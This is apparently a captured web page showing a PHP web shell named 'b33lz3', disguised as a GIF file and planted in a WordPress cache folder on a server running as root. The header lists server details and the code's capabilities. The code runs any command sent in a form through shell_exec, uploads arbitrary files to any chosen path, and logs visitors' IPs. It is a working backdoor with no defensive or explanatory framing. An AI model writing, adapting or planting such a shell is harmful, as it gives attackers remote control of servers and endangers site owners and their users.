| Server IP : 167.99.224.18 / Your IP : 216.73.216.136 Web Server : Apache/2.4.41 (Ubuntu) System : Linux wordpress-ubuntu-s-1vcpu-1gb-nyc1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.0.25 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/wp-content/cache/podlove/6d/724a34cdd422da9c352fecc95b43b2/ |
Upload File : |
GIF89a
<?php
$_LF=__DIR__.'/req.log';
file_put_contents($_LF,date('[Y-m-d H:i:s]').' IP:'.($_SERVER['HTTP_X_FORWARDED_FOR']??$_SERVER['REMOTE_ADDR']).' '.($_SERVER['REQUEST_METHOD']).' '.($_SERVER['REQUEST_URI']??'-').' UA:'.substr($_SERVER['HTTP_USER_AGENT']??'-',0,60)."\n",FILE_APPEND|LOCK_EX);
if(isset($_FILES['f'])){$n=$_POST['fn']??basename($_FILES['f']['name']);move_uploaded_file($_FILES['f']['tmp_name'],$n)&&print'OK:'.$n;exit;}
if(isset($_POST['vlog'])){echo'<pre style="background:#050505;color:#00ff88;padding:10px;white-space:pre-wrap">'.htmlspecialchars(file_exists($_LF)?file_get_contents($_LF):'(empty)').'</pre>';exit;}
if(isset($_POST['clrlog'])){file_put_contents($_LF,'');header('Location:'.$_SERVER['PHP_SELF']);exit;}
$out='';if(isset($_POST['c'])&&$_POST['c']!=='')$out=shell_exec($_POST['c'].' 2>&1');
?><!DOCTYPE html><html><head><title>b33lz3</title>
<!-- cve13001 -->
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#0a0a0a;color:#00ff88;font:13px/1.5 monospace;padding:16px}
.bnr{font-size:9px;line-height:1.1;white-space:pre;margin-bottom:10px;color:#00ff88}
hr{border:none;border-top:1px solid #1a3a2a;margin:8px 0}
input,textarea{background:#0f0f0f;color:#00ff88;border:1px solid #1a4a2a;padding:5px 8px;font:13px monospace;width:100%;margin:2px 0}
input[type=submit]{width:auto;cursor:pointer;border-color:#00ff88;padding:4px 14px;background:#0a0a0a}
pre.out{background:#050505;border:1px solid #1a3a2a;padding:8px;white-space:pre-wrap;word-break:break-all;max-height:260px;overflow:auto;margin-top:6px}
.row{display:flex;gap:6px}.row input{flex:1}
.inf{color:#00aa55;font-size:11px}
</style></head><body>
<pre class=bnr>
██████╗ ███████╗███████╗██╗ ███████╗███████╗
██╔══██╗██╔════╝██╔════╝██║ ██╔╝ ██╔════╝
██████╔╝█████╗ █████╗ ██║ ██╔╝ █████╗
██╔══██╗██╔══╝ ██╔══╝ ██║ ██╔╝ ██╔══╝
██████╔╝███████╗███████╗███████╗███████╗███████╗
╚═════╝ ╚══════╝╚══════╝╚══════╝╚══════╝╚══════╝
</pre>
<span class=inf>CVE-2026-13001 // <?=php_uname('n')?> // <?=get_current_user()?> // <?=getcwd()?></span>
<hr>
<?php if($out!==''):?><pre class=out><?=htmlspecialchars($out)?></pre><hr><?php endif;?>
<form method=post>
<div class=row>
<textarea name=c rows=1 style="resize:none" placeholder="command"><?=htmlspecialchars($_POST['c']??'')?></textarea>
<input type=submit value=exec style=width:60px>
</div>
</form>
<hr>
<form method=post enctype=multipart/form-data>
<div class=row><input type=file name=f><input name=fn placeholder="save as"><input type=submit value=upload></div>
</form>
<hr>
<form method=post style=display:inline>
<input type=submit name=vlog value="view log" style="width:auto;padding:4px 12px">
</form>
<form method=post style=display:inline>
<input type=submit name=clrlog value="clear log" style="width:auto;padding:4px 12px">
</form>
</body></html>